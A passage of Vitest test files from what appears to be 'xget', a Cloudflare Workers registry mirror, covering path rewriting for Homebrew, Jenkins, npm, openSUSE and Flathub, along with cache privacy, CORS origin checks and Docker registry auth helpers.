it('should handle cask list API paths correctly', () => { const path = '/homebrew/api/cask.json'; const result = transformPath(path, 'homebrew-api'); expect(result).toBe('/cask.json'); }); }); describe('homebrew-bottles platform', () => { it('should handle bottle manifest paths correctly', () => { const path = '/homebrew/bottles/v2/homebrew/core/git/manifests/2.39.0'; const result = transformPath(path, 'homebrew-bottles'); expect(result).toBe('/v2/homebrew/core/git/manifests/2.39.0'); }); it('should handle bottle blob paths correctly', () => { const path = '/homebrew/bottles/v2/homebrew/core/git/blobs/sha256:abcd1234'; const result = transformPath(path, 'homebrew-bottles'); expect(result).toBe('/v2/homebrew/core/git/blobs/sha256:abcd1234'); }); it('should handle bottle catalog paths correctly', () => { const path = '/homebrew/bottles/v2/_catalog'; const result = transformPath(path, 'homebrew-bottles'); expect(result).toBe('/v2/_catalog'); }); }); describe('homebrew platform', () => { it('should handle brew repository paths correctly', () => { const path = '/homebrew/brew.git/info/refs'; const result = transformPath(path, 'homebrew'); expect(result).toBe('/brew.git/info/refs'); }); it('should handle homebrew-core repository paths correctly', () => { const path = '/homebrew/homebrew-core.git/info/refs'; const result = transformPath(path, 'homebrew'); expect(result).toBe('/homebrew-core.git/info/refs'); }); it('should handle homebrew-cask repository paths correctly', () => { const path = '/homebrew/homebrew-cask.git/archive/refs/heads/master.tar.gz'; const result = transformPath(path, 'homebrew'); expect(result).toBe('/homebrew-cask.git/archive/refs/heads/master.tar.gz'); }); it('should handle raw file downloads correctly', () => { const path = '/homebrew/homebrew-core/archive/master.tar.gz'; const result = transformPath(path, 'homebrew'); expect(result).toBe('/homebrew-core/archive/master.tar.gz'); }); }); }); ================================================ FILE: test/platforms/jenkins.test.js ================================================ import { describe, expect, it } from 'vitest'; import { transformPath } from '../../src/routing/platform-transformers.js'; describe('Jenkins Plugin Support', () => { describe('Update Center Transformations', () => { it('should redirect default update-center.json to current', () => { const result = transformPath('/jenkins/update-center.json', 'jenkins'); expect(result).toBe('/current/update-center.json'); }); it('should redirect update-center.actual.json to current', () => { const result = transformPath('/jenkins/update-center.actual.json', 'jenkins'); expect(result).toBe('/current/update-center.actual.json'); }); it('should preserve current paths as-is', () => { const result = transformPath('/jenkins/current/update-center.json', 'jenkins'); expect(result).toBe('/current/update-center.json'); }); it('should preserve experimental paths as-is', () => { const result = transformPath('/jenkins/experimental/update-center.json', 'jenkins'); expect(result).toBe('/experimental/update-center.json'); }); it('should preserve download paths as-is', () => { const result = transformPath('/jenkins/download/plugins/git/5.2.1/git.hpi', 'jenkins'); expect(result).toBe('/download/plugins/git/5.2.1/git.hpi'); }); }); describe('Plugin Download Transformations', () => { it('should handle Maven plugin download', () => { const path = '/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi'; const result = transformPath(path, 'jenkins'); expect(result).toBe('/download/plugins/maven-plugin/3.27/maven-plugin.hpi'); }); it('should handle Git plugin download', () => { const path = '/jenkins/download/plugins/git/5.2.1/git.hpi'; const result = transformPath(path, 'jenkins'); expect(result).toBe('/download/plugins/git/5.2.1/git.hpi'); }); it('should handle workflow aggregator plugin download', () => { const path = '/jenkins/download/plugins/workflow-aggregator/596.v8c21c963d92d/workflow-aggregator.hpi'; const result = transformPath(path, 'jenkins'); expect(result).toBe( '/download/plugins/workflow-aggregator/596.v8c21c963d92d/workflow-aggregator.hpi' ); }); it('should handle blueocean plugin download', () => { const path = '/jenkins/download/plugins/blueocean/1.27.8/blueocean.hpi'; const result = transformPath(path, 'jenkins'); expect(result).toBe('/download/plugins/blueocean/1.27.8/blueocean.hpi'); }); }); describe('Special Path Handling', () => { it('should prefix unknown paths with current', () => { const result = transformPath('/jenkins/unknown-path', 'jenkins'); expect(result).toBe('/current/unknown-path'); }); it('should handle paths with query parameters', () => { const result = transformPath('/jenkins/update-center.json?version=2.401', 'jenkins'); expect(result).toBe('/current/update-center.json?version=2.401'); }); it('should handle deep nested paths', () => { const result = transformPath('/jenkins/some/deep/nested/path', 'jenkins'); expect(result).toBe('/current/some/deep/nested/path'); }); it('should handle root path', () => { const result = transformPath('/jenkins/', 'jenkins'); expect(result).toBe('/current/'); }); }); describe('Real-world Jenkins URLs', () => { const testCases = [ { description: 'Jenkins update center', input: '/jenkins/update-center.json', expected: '/current/update-center.json' }, { description: 'Jenkins experimental update center', input: '/jenkins/experimental/update-center.json', expected: '/experimental/update-center.json' }, { description: 'Git plugin latest', input: '/jenkins/download/plugins/git/5.2.1/git.hpi', expected: '/download/plugins/git/5.2.1/git.hpi' }, { description: 'Maven plugin', input: '/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi', expected: '/download/plugins/maven-plugin/3.27/maven-plugin.hpi' }, { description: 'Docker workflow plugin', input: '/jenkins/download/plugins/docker-workflow/563.vd5d2e5c4007f/docker-workflow.hpi', expected: '/download/plugins/docker-workflow/563.vd5d2e5c4007f/docker-workflow.hpi' }, { description: 'Blue Ocean plugin', input: '/jenkins/download/plugins/blueocean/1.27.8/blueocean.hpi', expected: '/download/plugins/blueocean/1.27.8/blueocean.hpi' } ]; testCases.forEach(({ description, input, expected }) => { it(`should transform ${description} correctly`, () => { const result = transformPath(input, 'jenkins'); expect(result).toBe(expected); }); }); }); describe('Version Compatibility', () => { it('should handle various plugin version formats', () => { const versionFormats = [ '1.0.0', '2.34.1', '596.v8c21c963d92d', '563.vd5d2e5c4007f', '1.27.8', '3.27' ]; versionFormats.forEach(version => { const path = `/jenkins/download/plugins/test-plugin/${version}/test-plugin.hpi`; const result = transformPath(path, 'jenkins'); expect(result).toBe(`/download/plugins/test-plugin/${version}/test-plugin.hpi`); }); }); it('should handle plugin names with special characters', () => { const pluginNames = [ 'maven-plugin', 'workflow-aggregator', 'docker-workflow', 'ant', 'build-timeout', 'git', 'github', 'matrix-auth' ]; pluginNames.forEach(pluginName => { const path = `/jenkins/download/plugins/${pluginName}/1.0.0/${pluginName}.hpi`; const result = transformPath(path, 'jenkins'); expect(result).toBe(`/download/plugins/${pluginName}/1.0.0/${pluginName}.hpi`); }); }); }); }); ================================================ FILE: test/platforms/npm-fix.test.js ================================================ import { describe, expect, it } from 'vitest'; describe('npm URL Rewriting Fix', () => { it('should correctly rewrite npm registry URLs to preserve package names', () => { const mockOriginalText = JSON.stringify({ name: 'npm', versions: { '11.5.1': { dist: { tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz' } } } }); // Simulate the regex replacement that happens in the code const rewrittenText = mockOriginalText.replace( /https:\/\/registry.npmjs.org\/([^/]+)/g, 'https://xget.xi-xu.me/npm/$1' ); const rewrittenData = JSON.parse(rewrittenText); // Verify the URL is correctly rewritten expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe( 'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz' ); }); it('should handle scoped packages correctly', () => { const mockOriginalText = JSON.stringify({ name: '@types/node', versions: { '20.0.0': { dist: { tarball: 'https://registry.npmjs.org/@types/node/-/node-20.0.0.tgz' } } } }); const rewrittenText = mockOriginalText.replace( /https:\/\/registry.npmjs.org\/([^/]+)/g, 'https://xget.xi-xu.me/npm/$1' ); const rewrittenData = JSON.parse(rewrittenText); expect(rewrittenData.versions['20.0.0'].dist.tarball).toBe( 'https://xget.xi-xu.me/npm/@types/node/-/node-20.0.0.tgz' ); }); it('should handle multiple URLs in the same JSON response', () => { const mockOriginalText = JSON.stringify({ dist: { tarball: 'https://registry.npmjs.org/package1/-/package1-1.0.0.tgz' }, dependencies: { dep: { dist: { tarball: 'https://registry.npmjs.org/dep/-/dep-2.0.0.tgz' } } } }); const rewrittenText = mockOriginalText.replace( /https:\/\/registry.npmjs.org\/([^/]+)/g, 'https://xget.xi-xu.me/npm/$1' ); const rewrittenData = JSON.parse(rewrittenText); expect(rewrittenData.dist.tarball).toBe( 'https://xget.xi-xu.me/npm/package1/-/package1-1.0.0.tgz' ); expect(rewrittenData.dependencies.dep.dist.tarball).toBe( 'https://xget.xi-xu.me/npm/dep/-/dep-2.0.0.tgz' ); }); }); ================================================ FILE: test/platforms/opensuse.test.js ================================================ import { describe, expect, it } from 'vitest'; import { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js'; import { transformPath } from '../../src/routing/platform-transformers.js'; describe('openSUSE Platform Configuration', () => { it('should have openSUSE platform configured', () => { expect(PLATFORMS.opensuse).toBe('https://download.opensuse.org'); }); it('should transform openSUSE paths correctly', () => { const testCases = [ { input: '/opensuse/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm', expected: '/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm', description: 'Leap package file' }, { input: '/opensuse/tumbleweed/repo/oss/x86_64/firefox-121.0-1.1.x86_64.rpm', expected: '/tumbleweed/repo/oss/x86_64/firefox-121.0-1.1.x86_64.rpm', description: 'Tumbleweed package file' }, { input: '/opensuse/distribution/leap/15.5/repo/oss/repodata/repomd.xml', expected: '/distribution/leap/15.5/repo/oss/repodata/repomd.xml', description: 'repository metadata' }, { input: '/opensuse/source/distribution/leap/15.5/repo/oss/src/kernel-default-5.14.21-150500.55.44.1.src.rpm', expected: '/source/distribution/leap/15.5/repo/oss/src/kernel-default-5.14.21-150500.55.44.1.src.rpm', description: 'source package' }, { input: '/opensuse/update/leap/15.5/oss/x86_64/systemd-249.17-150400.8.35.1.x86_64.rpm', expected: '/update/leap/15.5/oss/x86_64/systemd-249.17-150400.8.35.1.x86_64.rpm', description: 'update package' } ]; testCases.forEach(({ input, expected, description }) => { const result = transformPath(input, 'opensuse'); expect(result, `Failed for ${description}: ${input}`).toBe(expected); }); }); it('should handle root path correctly', () => { const result = transformPath('/opensuse/', 'opensuse'); expect(result).toBe('/'); }); it('should handle paths without platform prefix', () => { const result = transformPath( '/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm', 'opensuse' ); expect(result).toBe( '/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm' ); }); }); ================================================ FILE: test/setup.js ================================================ /** * Test setup and global configuration * Simplified version - only essential setup */ import { beforeAll } from 'vitest'; /** * Global setup - runs once before all tests */ beforeAll(async () => { // Verify Cloudflare Workers environment if (typeof globalThis.fetch === 'undefined') { throw new Error('fetch is not available in test environment'); } // Verify required Web APIs const requiredGlobals = ['Request', 'Response', 'Headers', 'URL', 'URLSearchParams']; for (const global of requiredGlobals) { // @ts-ignore - Dynamic global access for testing if (typeof globalThis[global] === 'undefined') { throw new Error(`Required global ${global} is not available`); } } // Verify SELF is available for Cloudflare Workers testing try { const { SELF } = await import('cloudflare:test'); if (!SELF) { throw new Error('SELF is not available'); } } catch { console.warn('Warning: Cloudflare Workers test environment not available'); } // Setup performance API if not available if (typeof performance === 'undefined') { // @ts-ignore - Partial performance implementation for testing globalThis.performance = { now: () => Date.now() }; } }); ================================================ FILE: test/types.d.ts ================================================ /** * Type declarations for cloudflare:test module * Based on @cloudflare/vitest-pool-workers */ declare module 'cloudflare:test' { /** * Service binding to the default export defined in the `main` worker */ export const SELF: { fetch(request: RequestInfo, init?: RequestInit): Promise; fetch(url: string, init?: RequestInit): Promise; }; /** * Creates an instance of ExecutionContext for use in tests */ export function createExecutionContext(): ExecutionContext; /** * Waits for all ExecutionContext.waitUntil() promises to settle */ export function waitOnExecutionContext(ctx: ExecutionContext): Promise; } ================================================ FILE: test/unit/app-structure.test.js ================================================ import { describe, expect, it } from 'vitest'; import apiHandler, { config as vercelConfig } from '../../adapters/functions/api/index.js'; import { handler as denoHandler } from '../../adapters/functions/deno.js'; import { onRequest } from '../../adapters/pages/functions/[[path]].js'; import { createRequestContext } from '../../src/app/request-context.js'; import { PLATFORM_CATALOG } from '../../src/config/platform-catalog.js'; import { normalizeEffectivePath, resolveTarget } from '../../src/routing/resolve-target.js'; describe('Application structure', () => { it('builds a shared request context for protocol-aware routing', () => { const request = new Request('https://example.com/ip/openai/v1/chat/completions', { method: 'OPTIONS', headers: { Origin: 'https://app.example.com', 'Access-Control-Request-Method': 'POST' } }); const context = createRequestContext(request, { ALLOWED_METHODS: 'GET,HEAD,POST' }); expect(context.isAI).toBe(true); expect(context.isCorsPreflight).toBe(true); expect(context.config.SECURITY.ALLOWED_METHODS).toContain('POST'); }); it('normalizes Docker host-style paths before resolving upstream targets', () => { const url = new URL('https://example.com/v2/cr/ghcr/xixu-me/xget/manifests/latest'); const normalized = normalizeEffectivePath(url, true); expect('effectivePath' in normalized).toBe(true); if ('effectivePath' in normalized) { expect(normalized.effectivePath).toBe('/cr/ghcr/v2/xixu-me/xget/manifests/latest'); const target = resolveTarget(url, normalized.effectivePath, PLATFORM_CATALOG); expect('response' in target).toBe(false); if (!('response' in target)) { expect(target.platform).toBe('cr-ghcr'); expect(target.targetUrl).toBe('https://ghcr.io/v2/xixu-me/xget/manifests/latest'); } } }); it('exposes thin runtime adapter entrypoints', () => { expect(typeof apiHandler).toBe('function'); expect(typeof denoHandler).toBe('function'); expect(typeof onRequest).toBe('function'); expect(vercelConfig).toEqual({ runtime: 'edge' }); }); }); ================================================ FILE: test/unit/cache-privacy.test.js ================================================ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import worker from '../../src/index.js'; describe('Cache Privacy', () => { /** @type {{ match: ReturnType, put: ReturnType }} */ let cacheDefault; /** @type {ReturnType} */ let fetchStub; beforeEach(() => { cacheDefault = { match: vi.fn(async () => null), put: vi.fn(async () => undefined) }; vi.stubGlobal('caches', { default: cacheDefault }); fetchStub = vi.fn(async () => { return new Response('ok', { status: 200, headers: { 'Content-Type': 'text/plain' } }); }); vi.stubGlobal('fetch', fetchStub); }); afterEach(() => { vi.unstubAllGlobals(); vi.restoreAllMocks(); }); it('should not use Cache API for requests with Authorization', async () => { const request = new Request('https://example.com/gh/test/repo/file.txt', { method: 'GET', headers: { Authorization: 'Bearer test-token' } }); const ctx = { waitUntil: () => {}, passThroughOnException: () => {} }; const response = await worker.fetch(request, {}, ctx); expect(response.status).toBe(200); expect(cacheDefault.match).not.toHaveBeenCalled(); expect(cacheDefault.put).not.toHaveBeenCalled(); expect(response.headers.get('Cache-Control')).toBe('private, no-store'); }); it('should use Cache API for non-authenticated GET requests', async () => { const request = new Request('https://example.com/gh/test/repo/file.txt', { method: 'GET' }); const ctx = { waitUntil: () => {}, passThroughOnException: () => {} }; const response = await worker.fetch(request, {}, ctx); expect(response.status).toBe(200); expect(cacheDefault.match).toHaveBeenCalled(); expect(fetchStub).toHaveBeenCalled(); expect(response.headers.get('Cache-Control') || '').toContain('public'); }); }); ================================================ FILE: test/unit/cors-and-proxy-options.test.js ================================================ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import worker from '../../src/index.js'; /** @type {ExecutionContext} */ const executionContext = { waitUntil() {}, passThroughOnException() {} }; describe('CORS and Proxy Request Options', () => { beforeEach(() => { vi.stubGlobal('caches', { default: { match: vi.fn(async () => null), put: vi.fn(async () => undefined) } }); }); afterEach(() => { vi.unstubAllGlobals(); vi.restoreAllMocks(); }); it('does not send a synthetic Origin header upstream', async () => { const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('ok', { status: 200, headers: { 'Content-Type': 'text/plain' } }) ); const response = await worker.fetch( new Request('https://example.com/gh/test/repo/index.html'), {}, executionContext ); expect(response.status).toBe(200); const upstreamHeaders = new Headers(fetchSpy.mock.calls[0][1]?.headers); expect(upstreamHeaders.has('Origin')).toBe(false); }); it('does not enable Cloudflare minification for proxied responses', async () => { const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('ok', { status: 200, headers: { 'Content-Type': 'text/html' } }) ); await worker.fetch( new Request('https://example.com/gh/test/repo/index.html'), {}, executionContext ); const fetchOptions = /** @type {RequestInit & { cf?: Record }} */ ( fetchSpy.mock.calls[0][1] || {} ); expect(fetchOptions.cf).toEqual( expect.objectContaining({ http3: true, cacheEverything: true, preconnect: true }) ); expect(fetchOptions.cf).not.toHaveProperty('minify'); }); it('responds to preflight requests for allowed origins', async () => { const response = await worker.fetch( new Request('https://example.com/gh/test/repo', { method: 'OPTIONS', headers: { Origin: 'https://app.example.com', 'Access-Control-Request-Method': 'GET', 'Access-Control-Request-Headers': 'X-Custom-Header' } }), { ALLOWED_ORIGINS: 'https://app.example.com' }, executionContext ); expect(response.status).toBe(204); expect(response.headers.get('Access-Control-Allow-Origin')).toBe('https://app.example.com'); expect(response.headers.get('Access-Control-Allow-Methods')).toContain('GET'); expect(response.headers.get('Access-Control-Allow-Headers')).toBe('X-Custom-Header'); }); it('rejects preflight requests for disallowed origins', async () => { const response = await worker.fetch( new Request('https://example.com/gh/test/repo', { method: 'OPTIONS', headers: { Origin: 'https://evil.example.com', 'Access-Control-Request-Method': 'GET' } }), { ALLOWED_ORIGINS: 'https://app.example.com' }, executionContext ); expect(response.status).toBe(403); expect(response.headers.get('Access-Control-Allow-Origin')).toBeNull(); }); it('adds CORS headers to normal responses for allowed origins', async () => { vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('ok', { status: 200, headers: { 'Content-Type': 'text/plain' } }) ); const response = await worker.fetch( new Request('https://example.com/gh/test/repo/file.txt', { headers: { Origin: 'https://app.example.com' } }), { ALLOWED_ORIGINS: 'https://app.example.com' }, executionContext ); expect(response.status).toBe(200); expect(response.headers.get('Access-Control-Allow-Origin')).toBe('https://app.example.com'); expect(response.headers.get('Vary')).toContain('Origin'); }); }); ================================================ FILE: test/unit/docker-helpers.test.js ================================================ import { afterEach, describe, expect, it, vi } from 'vitest'; import { CONFIG } from '../../src/config/index.js'; import { fetchToken, getScopeFromUrl, handleDockerAuth, normalizeRegistryApiPath, parseAuthenticate, readRegistryTokenResponse } from '../../src/protocols/docker.js'; afterEach(() => { vi.restoreAllMocks(); }); describe('Docker helper coverage', () => { it('throws on malformed authenticate headers', () => { expect(() => parseAuthenticate('Bearer service="registry.docker.io"')).toThrow( /invalid WWW-Authenticate/ ); }); it('includes authorization when fetching registry tokens', async () => { const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('{}', { status: 200, headers: { 'Content-Type': 'application/json' } }) ); await fetchToken( { realm: 'https://auth.example.com/token', service: 'registry.example.com' }, 'repository:demo/app:pull', 'Bearer registry-secret' ); const upstreamHeaders = new Headers(fetchSpy.mock.calls[0][1]?.headers); expect(String(fetchSpy.mock.calls[0][0])).toContain('scope=repository%3Ademo%2Fapp%3Apull'); expect(upstreamHeaders.get('Authorization')).toBe('Bearer registry-secret'); }); it('reads both token formats and rejects malformed token payloads', async () => { await expect( readRegistryTokenResponse( new Response(JSON.stringify({ token: 'abc123' }), { status: 200, headers: { 'Content-Type': 'application/json' } }) ) ).resolves.toBe('abc123'); await expect( readRegistryTokenResponse( new Response(JSON.stringify({ access_token: 'def456' }), { status: 200, headers: { 'Content-Type': 'application/json' } }) ) ).resolves.toBe('def456'); await expect( readRegistryTokenResponse( new Response(JSON.stringify('invalid-shape'), { status: 200, headers: { 'Content-Type': 'application/json' } }) ) ).resolves.toBeNull(); await expect( readRegistryTokenResponse( new Response('{not-json', { status: 200, headers: { 'Content-Type': 'application/json' } }) ) ).resolves.toBeNull(); }); it('derives catalog and empty scopes from registry paths', () => { const catalogUrl = new URL('https://example.com/cr/ghcr/v2/_catalog'); const unsupportedUrl = new URL('https://example.com/cr/ghcr/v2'); expect(getScopeFromUrl(catalogUrl, catalogUrl.pathname, 'cr-ghcr')).toBe('registry:catalog:*'); expect(getScopeFromUrl(unsupportedUrl, unsupportedUrl.pathname, 'cr-ghcr')).toBe(''); }); it('leaves normalized registry paths untouched when no library prefix is needed', () => { expect(normalizeRegistryApiPath('cr-ghcr', '/v2/org/app/manifests/latest')).toBe( '/v2/org/app/manifests/latest' ); expect(normalizeRegistryApiPath('cr-docker', '/v2/library/nginx/manifests/latest')).toBe( '/v2/library/nginx/manifests/latest' ); expect(normalizeRegistryApiPath('cr-docker', '/v2/_catalog')).toBe('/v2/_catalog'); }); it('returns a generic error for unsupported Docker auth scopes', async () => { const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {}); const request = new Request( 'https://example.com/v2/auth?scope=repository:cr/unknown/private:pull' ); const response = await handleDockerAuth(request, new URL(request.url), CONFIG); expect(response.status).toBe(400); expect(await response.text()).toBe('Invalid Docker authentication request'); expect(errorSpy).toHaveBeenCalledWith( 'Failed to resolve Docker auth target:', expect.any(Error) ); }); it('forwards upstream auth responses that are not challenges', async () => { vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('already-authorized', { status: 200, headers: { 'Content-Type': 'text/plain' } }) ); const request = new Request('https://example.com/cr/ghcr/v2/auth?service=Xget'); const response = await handleDockerAuth(request, new URL(request.url), CONFIG); expect(response.status).toBe(200); expect(await response.text()).toBe('already-authorized'); }); it('forwards 401 responses without authenticate headers from the upstream root probe', async () => { vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('missing-authenticate', { status: 401, headers: { 'Content-Type': 'text/plain' } }) ); const request = new Request('https://example.com/cr/ghcr/v2/auth?service=Xget'); const response = await handleDockerAuth(request, new URL(request.url), CONFIG); expect(response.status).toBe(401); expect(await response.text()).toBe('missing-authenticate'); }); }); ================================================ FILE: test/unit/flathub-rewrite.test.js ================================================ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import worker from '../../src/index.js'; /** @type {ExecutionContext} */ const executionContext = { waitUntil() {}, passThroughOnException() {} }; /** * Reads a response body as UTF-8 text without relying on the response MIME type. * @param {Response} response * @returns {Promise} Decoded UTF-8 response text. */ async function readUtf8Text(response) { return new TextDecoder().decode(await response.arrayBuffer()); } describe('Flathub Response Rewriting', () => { beforeEach(() => { vi.stubGlobal('caches', { default: { match: vi.fn(async () => null), put: vi.fn(async () => undefined) } }); }); afterEach(() => { vi.unstubAllGlobals(); vi.restoreAllMocks(); }); it('rewrites .flatpakrepo URLs to stay on the Xget mirror', async () => { vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response( [ '[Flatpak Repo]', 'Url=https://dl.flathub.org/repo/', 'Icon=https://dl.flathub.org/repo/logo.svg', 'Homepage=https://flathub.org/' ].join('\n'), { status: 200, headers: { 'Content-Type': 'application/octet-stream' } } ) ); const response = await worker.fetch( new Request('https://example.com/flathub/repo/flathub.flatpakrepo'), {}, executionContext ); expect(response.status).toBe(200); const body = await readUtf8Text(response); expect(body).toContain('Url=https://example.com/flathub/repo/'); expect(body).toContain('Icon=https://example.com/flathub/repo/logo.svg'); expect(body).toContain('Homepage=https://flathub.org/'); expect(response.headers.get('Content-Length')).toBe( String(new TextEncoder().encode(body).length) ); }); it('rewrites .flatpakref URLs to stay on the Xget mirror', async () => { vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response( [ '[Flatpak Ref]', 'Name=org.gnome.gedit', 'Url=https://dl.flathub.org/repo/', 'RuntimeRepo=https://dl.flathub.org/repo/flathub.flatpakrepo' ].join('\n'), { status: 200, headers: { 'Content-Type': 'application/octet-stream' } } ) ); const response = await worker.fetch( new Request('https://example.com/flathub/repo/appstream/org.gnome.gedit.flatpakref'), {}, executionContext ); expect(response.status).toBe(200); const body = await readUtf8Text(response); expect(body).toContain('Url=https://example.com/flathub/repo/'); expect(body).toContain('RuntimeRepo=https://example.com/flathub/repo/flathub.flatpakrepo'); }); it('uses host-scoped cache keys for rewritten Flathub descriptors', async () => { const cacheEntries = new Map(); vi.stubGlobal('caches', { default: { match: vi.fn(async request => cacheEntries.get(request.url) || null), put: vi.fn(async (request, response) => { cacheEntries.set(request.url, response.clone()); }) } }); const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation( async () => new Response(`[Flatpak Repo]\nUrl=https://dl.flathub.org/repo/`, { status: 200, headers: { 'Content-Type': 'application/octet-stream' } }) ); const responseA = await worker.fetch( new Request('https://mirror-a.example/flathub/repo/flathub.flatpakrepo'), {}, executionContext ); const responseB = await worker.fetch( new Request('https://mirror-b.example/flathub/repo/flathub.flatpakrepo'), {}, executionContext ); expect(fetchSpy).toHaveBeenCalledTimes(2); expect(await readUtf8Text(responseA)).toContain('Url=https://mirror-a.example/flathub/repo/'); expect(await readUtf8Text(responseB)).toContain('Url=https://mirror-b.example/flathub/repo/'); }); it('does not rewrite binary repository metadata like summary files', async () => { vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('summary-binary-payload', { status: 200, headers: { 'Content-Type': 'application/octet-stream' } }) ); const response = await worker.fetch( new Request('https://example.com/flathub/repo/summary'), {}, executionContext ); expect(response.status).toBe(200); expect(await readUtf8Text(response)).toBe('summary-binary-payload'); }); }); ================================================ FILE: test/unit/package-manifest.test.js ================================================ import { createRequire } from 'node:module'; import { describe, expect, it } from 'vitest'; describe('Package manifest', () => { it('does not depend on itself', () => { const require = createRequire(import.meta.url); const packageJson = require('../../package.json'); const { dependencies } = packageJson; const typedDependencies = /** @type {Record | undefined} */ (dependencies); expect(packageJson.name).toBe('xget'); expect(typedDependencies?.xget).toBeUndefined(); }); }); ================================================ FILE: test/unit/pipeline-modules.test.js ================================================ import { afterEach, describe, expect, it, vi } from 'vitest'; import { createRequestContext } from '../../src/app/request-context.js'; import { CONFIG } from '../../src/config/index.js'; import { finalizeResponse } from '../../src/response/finalize-response.js'; import { tryReadCachedResponse } from '../../src/upstream/cache.js'; import { fetchUpstreamResponse } from '../../src/upstream/fetch-upstream.js'; import { PerformanceMonitor } from '../../src/utils/performance.js'; afterEach(() => { vi.restoreAllMocks(); }); describe('Pipeline modules', () => { it('reuses cached full content for range requests through the cache helper', async () => { const cache = { match: vi .fn() .mockResolvedValueOnce(null) .mockResolvedValueOnce( new Response('full-body', { status: 200, headers: { 'Content-Type': 'text/plain' } }) ) }; const monitor = new PerformanceMonitor(); const markSpy = vi.spyOn(monitor, 'mark'); const request = new Request('https://example.com/gh/user/repo/file.txt', { headers: { Range: 'bytes=0-3' } }); const response = await tryReadCachedResponse({ cache: /** @type {Cache} */ (/** @type {unknown} */ (cache)), cacheTargetUrl: 'https://github.com/user/repo/file.txt', canUseCache: true, hasSensitiveHeaders: false, monitor, request, requestContext: createRequestContext(request, {}) }); expect(await response?.text()).toBe('full-body'); expect(markSpy).toHaveBeenCalledWith('cache_hit_full_content'); }); it('retries upstream fetches through the transport helper before succeeding', async () => { const request = new Request('https://example.com/gh/user/repo/file.txt'); const requestContext = createRequestContext(request, {}); const fetchSpy = vi .spyOn(globalThis, 'fetch') .mockRejectedValueOnce(new Error('temporary-network-error')) .mockResolvedValueOnce( new Response('ok', { status: 200, headers: { 'Content-Type': 'text/plain' } }) ); const result = await fetchUpstreamResponse({ authorization: null, canUseCache: true, config: { ...CONFIG, MAX_RETRIES: 2, RETRY_DELAY_MS: 0 }, effectivePath: '/gh/user/repo/file.txt', monitor: new PerformanceMonitor(), platform: 'gh', request, requestContext, shouldPassthroughRequest: false, targetUrl: 'https://github.com/user/repo/file.txt' }); expect(result.responseGeneratedLocally).toBe(false); expect(result.response.status).toBe(200); expect(fetchSpy).toHaveBeenCalledTimes(2); }); it('rewrites npm metadata and refreshes content length during response finalization', async () => { const request = new Request('https://example.com/npm/pkg'); const requestContext = createRequestContext(request, {}); const upstreamBody = JSON.stringify({ dist: { tarball: 'https://registry.npmjs.org/pkg/-/pkg-1.0.0.tgz' } }); const response = await finalizeResponse({ cache: null, cacheTargetUrl: 'https://registry.npmjs.org/pkg', canUseCache: true, config: CONFIG, ctx: /** @type {ExecutionContext} */ ({ waitUntil() {}, passThroughOnException() {} }), effectivePath: '/npm/pkg', hasSensitiveHeaders: false, monitor: new PerformanceMonitor(), platform: 'npm', request, requestContext, response: new Response(upstreamBody, { status: 200, headers: { 'Content-Type': 'application/json', 'Content-Length': String(upstreamBody.length) } }), responseGeneratedLocally: false, url: new URL(request.url) }); const body = await response.text(); expect(body).toContain('https://example.com/npm/pkg/-/pkg-1.0.0.tgz'); expect(response.headers.get('Content-Length')).toBe( String(new TextEncoder().encode(body).byteLength) ); }); }); ================================================ FILE: test/unit/platform-boundaries.test.js ================================================ import { describe, expect, it } from 'vitest'; import { PLATFORM_CATALOG } from '../../src/config/platform-catalog.js'; import { PLATFORMS, SORTED_PLATFORMS, transformPath } from '../../src/config/platforms.js'; import { getPlatformPathPrefix } from '../../src/routing/platform-index.js'; import { transformPath as transformPlatformPath } from '../../src/routing/platform-transformers.js'; describe('Platform module boundaries', () => { it('keeps the compatibility export wired to the platform catalog', () => { expect(PLATFORMS).toBe(PLATFORM_CATALOG); }); it('sorts platform keys by the longest routable prefix first', () => { const prefixLengths = SORTED_PLATFORMS.map( platformKey => getPlatformPathPrefix(platformKey).length ); prefixLengths.forEach((length, index) => { if (index < prefixLengths.length - 1) { expect(length).toBeGreaterThanOrEqual(prefixLengths[index + 1]); } }); }); it('routes legacy transform imports through the dedicated transformer module', () => { expect(transformPath('/crates/?q=tokio', 'crates')).toBe( transformPlatformPath('/crates/?q=tokio', 'crates') ); expect(transformPath('/jenkins/test-path', 'jenkins')).toBe('/current/test-path'); }); }); ================================================ FILE: test/unit/platforms.test.js ================================================ import { describe, expect, it } from 'vitest'; import { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js'; import { transformPath } from '../../src/routing/platform-transformers.js'; describe('Platform Configuration', () => { describe('Platform Definitions', () => { it('should have all required platforms defined', () => { const requiredPlatforms = [ 'gh', 'gist', 'gl', 'sf', 'gitea', 'codeberg', 'hf', 'civitai', 'npm', 'pypi', 'conda', 'flathub', 'homebrew' ]; requiredPlatforms.forEach(platform => { expect(PLATFORMS).toHaveProperty(platform); expect(PLATFORMS[platform]).toBeDefined(); }); }); it('should have valid base URLs for all platforms', () => { Object.values(PLATFORMS).forEach(baseUrl => { 